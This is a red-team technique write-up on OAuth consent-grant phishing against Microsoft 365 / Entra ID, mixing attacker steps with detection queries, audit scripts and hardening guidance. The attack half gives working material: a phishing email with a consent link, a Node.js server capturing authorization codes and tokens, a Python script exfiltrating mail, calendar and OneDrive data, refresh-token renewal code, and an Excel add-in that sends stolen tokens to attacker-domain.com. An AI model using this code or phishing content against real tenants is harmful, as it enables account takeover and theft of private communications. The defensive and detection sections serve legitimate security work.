| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-014 |
| MITRE ATT&CK v18.1 | T1537 - Transfer Data to Cloud Account |
| Tactic | Exfiltration / Defense Evasion |
| Platforms | M365 / Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID / Microsoft 365 versions |
| Patched In | N/A (Configuration-based, not a code vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft 365 (Entra ID) allows users to grant OAuth consent to third-party applications, which request permissions like Mail.Read, Calendars.Read, or Files.ReadWrite. By default, Entra ID’s User consent settings permit any user to approve OAuth access to unverified publisher applications. Threat actors can create malicious SaaS applications, trick users into granting consent via phishing, and permanently obtain tokens to exfiltrate emails, files, and calendar data. Once consented, the application persists in the tenant with standing access—even if the user’s password is reset.
Attack Surface: OAuth consent prompt UI, Entra ID app registration portal, user awareness (social engineering), lack of application attestation, absence of real-time consent monitoring.
Business Impact: Persistent data exfiltration, mailbox compromise, and lateral movement without credential theft. Unmanaged apps can read private emails, calendar scheduling data, SharePoint files, Teams messages, and OneDrive contents. Attackers can use the standing OAuth token to maintain access even after user account compromises are addressed.
Technical Context: Phishing links guide users to OAuth consent screens designed to look legitimate. In seconds, users can unknowingly grant full mailbox access. Exploitation is immediate post-consent; no further authentication required.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.1.3 | Ensure that only approved third-party applications can connect to M365 |
| DISA STIG | V-226488 | Unmanaged applications must be prevented from accessing organizational data |
| CISA SCuBA | CA-3(1) | Approved Connection Control – M365 must restrict OAuth to verified publishers |
| NIST 800-53 | AC-2 | Account Management – Manage app registrations and consent grants |
| NIST 800-53 | AC-3 | Access Enforcement – OAuth permissions must align with business need |
| NIST 800-53 | SI-7 | Software, Firmware, and Information Integrity – Validate third-party app integrity |
| GDPR | Art. 32 | Security of Processing – Processor (third-party app) must be vetted and contractually bound |
| DORA | Art. 10 | Governance and Oversight – Critical service dependencies (including apps) must be validated |
| NIS2 | Art. 19 | Incident Reporting – Unauthorized app access represents a reportable incident |
| ISO 27001 | A.6.1 | Internal Organization – Third-party access must follow ISM controls |
| ISO 27001 | A.8.1 | Asset Management – SAAS applications are assets requiring governance |
| ISO 27005 | Risk Scenario | “Unvetted SaaS application gains persistent OAuth access to M365 mailbox” |
Supported Versions:
Tools (Optional):
# List all OAuth applications and their permissions in the tenant
Connect-MgGraph -Scopes "Application.Read.All"
# Get all service principals (apps that have been granted consent)
Get-MgServicePrincipal -Top 999 | Select-Object -Property DisplayName, AppId, PublisherName | ForEach-Object {
Write-Host "App: $($_.DisplayName) | Publisher: $($_.PublisherName)" -ForegroundColor Cyan
}
What to Look For:
PublisherName field (unverified publishers).What to Look For:
Supported Versions: All Entra ID versions
Objective: Register a fake SaaS application in Entra ID (or an external OAuth provider).
Manual Steps (Attacker-Controlled):
expense-manager-pro.com instead of expensemanager.com).https://attacker-domain.com/auth/callbackExpected Outcome:
Objective: Create a convincing phishing message that redirects users to the OAuth consent screen.
Phishing Message (Email):
Subject: Important: Verify Your Microsoft 365 Access
Dear [Company Name] Employee,
Your access to the Expense Report Management Portal has been upgraded!
Please click below to authorize the new integration:
[CLICK HERE TO AUTHORIZE](https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<ATTACKER_APP_ID>&
redirect_uri=https://attacker-domain.com/auth/callback&
response_type=code&
scope=mail.read%20calendars.read%20files.readwrite&
prompt=consent)
This integration will allow you to access expense reports directly from Teams.
Best regards,
IT Administration
What This Does:
login.microsoftonline.com).OpSec & Evasion:
Objective: Intercept the authorization code and exchange it for an access token.
Attacker’s Backend Server (Node.js Example):
const express = require('express');
const axios = require('axios');
const app = express();
const CLIENT_ID = 'attacker-app-id-from-entra-id';
const CLIENT_SECRET = 'attacker-app-secret';
const REDIRECT_URI = 'https://attacker-domain.com/auth/callback';
app.get('/auth/callback', async (req, res) => {
const authCode = req.query.code;
const tenant = req.query.tenant;
console.log(`[+] Authorization code captured: ${authCode}`);
try {
// Exchange authorization code for access token
const tokenResponse = await axios.post(
`https://login.microsoftonline.com/${tenant}/oauth2/v2.0/token`,
{
client_id: CLIENT_ID,
client_secret: CLIENT_SECRET,
code: authCode,
redirect_uri: REDIRECT_URI,
grant_type: 'authorization_code',
scope: 'https://graph.microsoft.com/.default'
}
);
const accessToken = tokenResponse.data.access_token;
const refreshToken = tokenResponse.data.refresh_token;
console.log(`[+] Access token obtained: ${accessToken.substring(0, 50)}...`);
console.log(`[+] Refresh token: ${refreshToken.substring(0, 50)}...`);
// Store tokens in database for later use
saveTokens(authCode, accessToken, refreshToken);
// Redirect user to legitimate-looking page
res.redirect('https://expense-manager-pro.com/success?status=authorized');
} catch (error) {
console.error('[-] Token exchange failed:', error.message);
res.status(500).send('Authorization failed. Please try again.');
}
});
app.listen(443, '0.0.0.0', () => {
console.log('[+] OAuth callback server listening on port 443');
});
Expected Output:
[+] Authorization code captured: M.R3_BAY...
[+] Access token obtained: eyJhbGciOiJSUzI1NiIsImtpZCI6IjE...
[+] Refresh token: 0.ARwA8WH...
What This Means:
Objective: Use the access token to read emails, files, and calendar events.
Attacker’s Data Extraction Script (Python):
import requests
import json
from datetime import datetime, timedelta
access_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjE..."
headers = {
'Authorization': f'Bearer {access_token}',
'Content-Type': 'application/json'
}
# Endpoint 1: Read all emails
def extract_emails():
url = "https://graph.microsoft.com/v1.0/me/messages"
params = {
'$select': 'subject,from,receivedDateTime,bodyPreview',
'$orderby': 'receivedDateTime desc',
'$top': 100
}
response = requests.get(url, headers=headers, params=params)
emails = response.json()['value']
print(f"[+] Extracted {len(emails)} emails:")
for email in emails:
print(f" - From: {email['from']['emailAddress']['address']}")
print(f" Subject: {email['subject']}")
print(f" Preview: {email['bodyPreview'][:100]}")
return emails
# Endpoint 2: Read calendar events (to identify meetings with sensitive parties)
def extract_calendar():
url = "https://graph.microsoft.com/v1.0/me/calendarview"
params = {
'startDateTime': (datetime.now() - timedelta(days=90)).isoformat(),
'endDateTime': (datetime.now() + timedelta(days=30)).isoformat(),
'$select': 'subject,attendees,start,end,bodyPreview',
'$top': 200
}
response = requests.get(url, headers=headers, params=params)
events = response.json()['value']
print(f"[+] Extracted {len(events)} calendar events:")
for event in events:
print(f" - {event['subject']} at {event['start']['dateTime']}")
for attendee in event['attendees']:
print(f" Attendee: {attendee['emailAddress']['address']}")
return events
# Endpoint 3: List files in OneDrive
def extract_files():
url = "https://graph.microsoft.com/v1.0/me/drive/root/children"
response = requests.get(url, headers=headers)
files = response.json()['value']
print(f"[+] Extracted {len(files)} files from OneDrive:")
for file in files:
print(f" - {file['name']} ({file.get('size', 'N/A')} bytes)")
return files
# Execute extraction
print("[*] Starting data exfiltration...\n")
emails = extract_emails()
calendar = extract_calendar()
files = extract_files()
# Save to JSON for offline analysis
with open('/tmp/exfiltrated_data.json', 'w') as f:
json.dump({
'emails': emails,
'calendar_events': calendar,
'files': files
}, f, indent=2)
print("[+] Data exfiltrated to /tmp/exfiltrated_data.json")
Expected Output:
[+] Extracted 342 emails:
- From: boss@company.com
Subject: Strategic Acquisition Plan - CONFIDENTIAL
Preview: We are planning to acquire TechCorp Inc. The board approved...
[+] Extracted 87 calendar events:
- Board Meeting - Quarterly Review at 2026-01-15T14:00:00
Attendee: ceo@company.com
Attendee: cfo@company.com
OpSec & Evasion:
Troubleshooting:
401 Unauthorized
refresh_response = requests.post(
'https://login.microsoftonline.com/common/oauth2/v2.0/token',
data={
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
'grant_type': 'refresh_token',
'refresh_token': stored_refresh_token
}
)
new_access_token = refresh_response.json()['access_token']
References & Proofs:
Supported Versions: Outlook, Teams, Excel add-ins
Objective: Create an Excel add-in that silently exfiltrates OAuth tokens.
Add-in Manifest (XML):
<?xml version="1.0" encoding="UTF-8"?>
<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1">
<Id>12345678-1234-1234-1234-123456789012</Id>
<Version>1.0.0.0</Version>
<ProviderName>Data Analysis Tool</ProviderName>
<DefaultLocale>en-US</DefaultLocale>
<DisplayName DefaultValue="Advanced Data Analysis"/>
<Description DefaultValue="Analyze financial data with AI-powered insights"/>
<Hosts>
<Host Name="Workbook"/>
</Hosts>
<DefaultSettings>
<SourceLocation DefaultValue="https://attacker-domain.com/taskpane.html"/>
</DefaultSettings>
<Permissions>AllowMultipleAppDomainsWebApiCall</Permissions>
</OfficeApp>
Objective: Use Office JavaScript API to capture tokens and send to attacker server.
Add-in Code (JavaScript):
Office.onReady(async (reason) => {
if (reason === Office.HostType.Excel) {
// Attempt to steal OAuth token using Office SSO flow
try {
const token = await OfficeRuntime.auth.getAccessToken({
allowSignInPrompt: true,
allowConsentPrompt: true,
forMSGraphAccess: true,
});
console.log(`[+] Token captured: ${token.substring(0, 50)}...`);
// Send token to attacker's server
await fetch('https://attacker-domain.com/collect-token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
token: token,
user_agent: navigator.userAgent,
timestamp: new Date().toISOString()
})
});
console.log("[+] Token sent to attacker server");
} catch (error) {
console.error('[-] Token theft failed:', error);
}
}
});
OpSec & Evasion:
PublisherName = null or “Unknown”.AuditLogs
| where OperationName == "Consent to application"
| where TargetResources[0].displayName !contains "Microsoft"
Manual Steps (Entra ID Admin Center):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
AllowedToCreateApps = $false
AllowedToCreateTenantApps = $false
}
Manual Steps (Azure Portal):
Manual Steps (Entra ID):
Action 1: Implement Conditional Access Policies for App-Based Access
Manual Steps (Conditional Access):
Block Risky App ConsentAction 2: Audit Existing Consent Grants and Revoke Suspicious Apps
PowerShell Script:
Connect-MgGraph -Scopes "Application.Read.All", "DelegatedPermissionGrant.ReadWrite.All"
# List all OAuth grants
$grants = Get-MgOauth2PermissionGrant
foreach ($grant in $grants) {
$app = Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId
if (-not $app.PublisherName -or $app.PublisherName -eq "Unknown") {
Write-Host "[-] Suspicious app: $($app.DisplayName) (ID: $($app.AppId))"
Write-Host " Permissions: $($grant.Scope)"
# Option: Revoke consent
# Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $grant.Id
}
}
Action 3: Enable Azure AD Connect Health for Sign-In Activity Monitoring
Manual Steps:
# Check if user consent for unverified publishers is disabled
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgPolicyAuthorizationPolicy | Select-Object -Property DefaultUserRolePermissions
Expected Output (If Secure):
AllowedToCreateApps : False
AllowedToCreateTenantApps : False
AllowedToReadOtherUsers : False
Query 1: Unusual OAuth App Consent Activity
AuditLogs
| where OperationName == "Consent to application"
| where TargetResources[0].type == "ServicePrincipal"
| extend AppName = TargetResources[0].displayName
| extend AppPublisher = TargetResources[0].modifiedProperties[0].newValue
| where AppPublisher != "Microsoft Corporation"
| summarize ConsentCount = count() by AppName, InitiatedBy.user.userPrincipalName
| where ConsentCount > 1
What This Detects:
Query 2: Risky OAuth Application with Graph Permissions
AuditLogs
| where OperationName contains "Add service principal"
| where TargetResources[0].modifiedProperties any (x => x.newValue contains "Mail.Read" or x.newValue contains "Calendars.Read" or x.newValue contains "Files.ReadWrite")
| where TargetResources[0].displayName !contains "Microsoft"
What This Detects:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker crafts phishing link to OAuth consent screen |
| 2 | Current Step | [MISCONFIG-014] | User grants OAuth consent to unvetted app |
| 3 | Exfiltration | [T1537] Transfer Data to Cloud Account | App uses stolen token to exfiltrate mail/files |
| 4 | Impact | Email/Data Breach | Sensitive communications and files exposed |